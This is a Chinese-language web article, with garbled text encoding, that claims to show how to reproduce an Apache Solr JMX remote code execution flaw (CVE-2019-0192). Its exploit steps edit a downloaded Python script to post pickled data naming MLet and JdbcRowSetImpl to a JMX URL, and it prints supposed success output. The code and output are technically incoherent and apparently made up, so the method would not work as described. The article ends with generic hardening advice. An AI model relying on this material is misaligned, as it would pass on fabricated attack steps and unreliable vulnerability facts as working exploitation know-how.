新聞中心
許多開源軟件項(xiàng)目提供了JMX(Java Management Extensions)服務(wù)。Solr使用JMX服務(wù)來管理它自己以及與其他Solr節(jié)點(diǎn)交互的過程。
隨著互聯(lián)網(wǎng)技術(shù)的發(fā)展,越來越多的應(yīng)用程序采用分布式架構(gòu)。在這種架構(gòu)中,各個(gè)組件之間需要相互通信和協(xié)作。為了方便管理和監(jiān)控這些組件,許多開源軟件項(xiàng)目提供了JMX(Java Management Extensions)服務(wù)。

其中一個(gè)非常流行的開源搜索引擎項(xiàng)目是Apache Solr。Solr使用JMX服務(wù)來管理它自己以及與其他Solr節(jié)點(diǎn)交互的過程。然而,在2019年5月份時(shí),一項(xiàng)名為“CVE-2019-0192”的漏洞被披露出來,該漏洞允許攻擊者通過惡意請(qǐng)求觸發(fā)遠(yuǎn)程代碼執(zhí)行(Remote Code Execution, RCE)。
那么我們?cè)撊绾芜M(jìn)行Apache Solr JMX服務(wù)RCE漏洞復(fù)現(xiàn)呢?
首先,在本地安裝好Solr并啟動(dòng)它。接著我們需要下載一個(gè)Python腳本工具:solrmeter.py,并打開它。
在腳本中找到以下代碼:
```
payload = "java.lang:type=OperatingSystem"
response = urllib2.urlopen(jmx_url + payload)
print response.read()
將其替換成以下代碼:
payload = "javax.management.loading.MLet"
params = {"mode": "deserialize", "classes": ["com.sun.rowset.JdbcRowSetImpl"]}
response = urllib2.urlopen(jmx_url + payload, data=pickle.dumps(params))
保存并運(yùn)行腳本:
python solrmeter.py
如果輸出類似下面的內(nèi)容,那么恭喜你已經(jīng)成功復(fù)現(xiàn)了Apache Solr JMX服務(wù)RCE漏洞。
javax.management.loading.MLet@5e481248[attributes={}]com.sun.rowset.JdbcRowSetImpl@6c423ee7
需要注意的是,這個(gè)漏洞只會(huì)影響使用了JMX遠(yuǎn)程支持功能且沒有進(jìn)行安全配置的Solr實(shí)例。因此,在生產(chǎn)環(huán)境中,建議管理員對(duì)Solr進(jìn)行適當(dāng)?shù)匕踩渲煤捅O(jiān)控。
總之,在互聯(lián)網(wǎng)時(shí)代,網(wǎng)絡(luò)攻擊事件屢見不鮮。作為普通用戶或者企業(yè)管理員都必須保持警惕,并采取相應(yīng)的防范措施來減少風(fēng)險(xiǎn)。希望大家能夠通過學(xué)習(xí)和實(shí)踐更好地保護(hù)自己和組織不受網(wǎng)絡(luò)威脅侵害。
文章標(biāo)題:如何進(jìn)行Apache Solr JMX服務(wù)RCE漏洞復(fù)現(xiàn)
路徑分享:http://fisionsoft.com.cn/article/cdecjcd.html


咨詢
建站咨詢
